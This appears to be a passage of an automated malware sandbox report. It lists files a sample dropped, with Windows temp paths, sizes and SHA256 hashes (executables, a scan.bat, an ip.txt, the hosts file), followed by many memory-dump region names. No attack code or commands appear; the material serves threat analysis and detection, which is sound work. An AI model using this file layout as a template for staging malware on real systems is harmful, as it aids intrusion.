                                                                                                                                                              • SHA256 793a181a38d790ff71661c5397b0a72375e2b6da25deeeff2ce1758794ca913c
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                              992.dmp

                                                                                                                                                              • Path C:\Windows\TEMP\zakhayhsp\992.dmp
                                                                                                                                                              • Size 851KB
                                                                                                                                                              • SHA256 838f36cd638fd718837510baaed6667db545ecc67f1bb4162c679873396978a6
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                              ugnayrher.exe

                                                                                                                                                              • Path C:\Windows\Temp\zakhayhsp\ugnayrher.exe
                                                                                                                                                              • Size 126KB
                                                                                                                                                              • SHA256 a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                              hosts

                                                                                                                                                              • Path C:\Windows\system32\drivers\etc\hosts
                                                                                                                                                              • Size 975B
                                                                                                                                                              • SHA256 a7ea603e6e80aed429a34b68ca8210ae3b082cf6104646ed7f8025c3b304ae85
                                                                                                                                                              • MD5 SHA1 SHA512

                                                                                                                                                              egqqwqb.exe

                                                                                                                                                              • Path C:\Windows\ygyeuqcu\egqqwqb.exe
                                                                                                                                                              • Size 13.8MB
                                                                                                                                                              • SHA256 f834fd8d20d9360e87234e873d30a56aae019829ec388c36cd4dfa0870ad779e
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                              ip.txt

                                                                                                                                                              • Path C:\Windows\zakhayhsp\ybgqmsgtg\ip.txt
                                                                                                                                                              • Size 158B
                                                                                                                                                              • SHA256 f08948512f2d72078e89344698630d22cb225fd0aa64847ecb8e487f4f5da870
                                                                                                                                                              • MD5 SHA1 SHA512

                                                                                                                                                              kbybalanc.exe

                                                                                                                                                              • Path C:\Windows\zakhayhsp\ybgqmsgtg\kbybalanc.exe
                                                                                                                                                              • Size 332KB
                                                                                                                                                              • SHA256 4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                              meqyhgrry.exe

                                                                                                                                                              • Path C:\Windows\zakhayhsp\ybgqmsgtg\meqyhgrry.exe
                                                                                                                                                              • Size 63KB
                                                                                                                                                              • SHA256 a06d135690ec5c5c753dd6cb8b4fe9bc8d23ca073ef9c0d8bb1b4b54271f56bb
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                              scan.bat

                                                                                                                                                              • Path C:\Windows\zakhayhsp\ybgqmsgtg\scan.bat
                                                                                                                                                              • Size 160B
                                                                                                                                                              • SHA256 e81281a79ff29ea005b0d7fc723f322d5161cc33334f61e08d1d62d26b7e33c2
                                                                                                                                                              • MD5 SHA1 SHA512

                                                                                                                                                              System.dll

                                                                                                                                                              • Path \Windows\Temp\nst7FFB.tmp\System.dll
                                                                                                                                                              • Size 11KB
                                                                                                                                                              • SHA256 681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                              nsExec.dll

                                                                                                                                                              • Path \Windows\Temp\nst7FFB.tmp\nsExec.dll
                                                                                                                                                              • Size 6KB
                                                                                                                                                              • SHA256 3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                              hzbaub.exe

                                                                                                                                                              • Path \Windows\Temp\refblbart\hzbaub.exe
                                                                                                                                                              • Size 343KB
                                                                                                                                                              • SHA256 a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                              xohudmc.exe

                                                                                                                                                              • Path \Windows\Temp\xohudmc.exe
                                                                                                                                                              • Size 72KB
                                                                                                                                                              • SHA256 7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                              vfshost.exe

                                                                                                                                                              • Path \Windows\zakhayhsp\Corporate\vfshost.exe
                                                                                                                                                              • Size 381KB
                                                                                                                                                              • SHA256 441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                              wpcap.exe

                                                                                                                                                              • Path \Windows\zakhayhsp\ybgqmsgtg\wpcap.exe
                                                                                                                                                              • Size 424KB
                                                                                                                                                              • SHA256 7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                                              memory/676-151-0x0000000010000000-0x0000000010008000-memory.dmp

                                                                                                                                                              memory/676-74-0x00000000001F0000-0x000000000023C000-memory.dmp

                                                                                                                                                              memory/1012-175-0x000000013F870000-0x000000013F8CB000-memory.dmp

                                                                                                                                                              memory/1012-177-0x000000013F870000-0x000000013F8CB000-memory.dmp

                                                                                                                                                              memory/1016-229-0x00000000011B0000-0x00000000011C2000-memory.dmp

                                                                                                                                                              memory/1736-0-0x0000000000400000-0x0000000000AA4000-memory.dmp

                                                                                                                                                              memory/1820-200-0x000000013F090000-0x000000013F0EB000-memory.dmp

                                                                                                                                                              memory/1820-202-0x000000013F090000-0x000000013F0EB000-memory.dmp

                                                                                                                                                              memory/2132-232-0x000000013F500000-0x000000013F620000-memory.dmp

                                                                                                                                                              memory/2132-204-0x000000013F500000-0x000000013F620000-memory.dmp

                                                                                                                                                              memory/2132-170-0x0000000000110000-0x0000000000120000-memory.dmp

                                                                                                                                                              memory/2132-211-0x000000013F500000-0x000000013F620000-memory.dmp

                                                                                                                                                              memory/2132-235-0x000000013F500000-0x000000013F620000-memory.dmp

                                                                                                                                                              memory/2132-163-0x000000013F500000-0x000000013F620000-memory.dmp

                                                                                                                                                              memory/2132-233-0x000000013F500000-0x000000013F620000-memory.dmp

                                                                                                                                                              memory/2132-210-0x000000013F500000-0x000000013F620000-memory.dmp

                                                                                                                                                              memory/2132-231-0x000000013F500000-0x000000013F620000-memory.dmp

                                                                                                                                                              memory/2132-237-0x000000013F500000-0x000000013F620000-memory.dmp

                                                                                                                                                              memory/2132-194-0x000000013F500000-0x000000013F620000-memory.dmp

                                                                                                                                                              memory/2132-207-0x000000013F500000-0x000000013F620000-memory.dmp

                                                                                                                                                              memory/2132-238-0x000000013F500000-0x000000013F620000-memory.dmp

                                                                                                                                                              memory/2132-205-0x000000013F500000-0x000000013F620000-memory.dmp

                                                                                                                                                              memory/2132-171-0x0000000000130000-0x0000000000134000-memory.dmp

                                                                                                                                                              memory/2144-134-0x0000000001040000-0x000000000112E000-memory.dmp

                                                                                                                                                              memory/2144-133-0x0000000001040000-0x000000000112E000-memory.dmp

                                                                                                                                                              memory/2148-8-0x0000000000400000-0x0000000000AA4000-memory.dmp

                                                                                                                                                              memory/2260-136-0x000000013FF00000-0x000000013FFEE000-memory.dmp

                                                                                                                                                              memory/2260-135-0x000000013FF00000-0x000000013FFEE000-memory.dmp

                                                                                                                                                              memory/2312-142-0x000000013F930000-0x000000013F98B000-memory.dmp

                                                                                                                                                              memory/2312-168-0x000000013F930000-0x000000013F98B000-memory.dmp

                                                                                                                                                              memory/2404-182-0x000000013F070000-0x000000013F0CB000-memory.dmp

                                                                                                                                                              memory/2404-184-0x000000013F070000-0x000000013F0CB000-memory.dmp

                                                                                                                                                              memory/2640-209-0x0000000001090000-0x00000000010EB000-memory.dmp

                                                                                                                                                              memory/2640-208-0x0000000001090000-0x00000000010EB000-memory.dmp

                                                                                                                                                              memory/2640-206-0x0000000001090000-0x00000000010EB000-memory.dmp

                                                                                                                                                              memory/2640-199-0x0000000001090000-0x00000000010EB000-memory.dmp

                                                                                                                                                              memory/2640-198-0x0000000002F20000-0x0000000003040000-memory.dmp

                                                                                                                                                              memory/2640-189-0x0000000002550000-0x00000000025AB000-memory.dmp

                                                                                                                                                              memory/2640-160-0x0000000002F20000-0x0000000003040000-memory.dmp

                                                                                                                                                              memory/2640-140-0x0000000002550000-0x00000000025AB000-memory.dmp

                                                                                                                                                              memory/2716-230-0x00000000011B0000-0x00000000011C2000-memory.dmp

                                                                                                                                                              memory/3068-192-0x000000013FB70000-0x000000013FBCB000-memory.dmp

                                                                                                                                                              memory/3068-190-0x000000013FB70000-0x000000013FBCB000-memory.dmp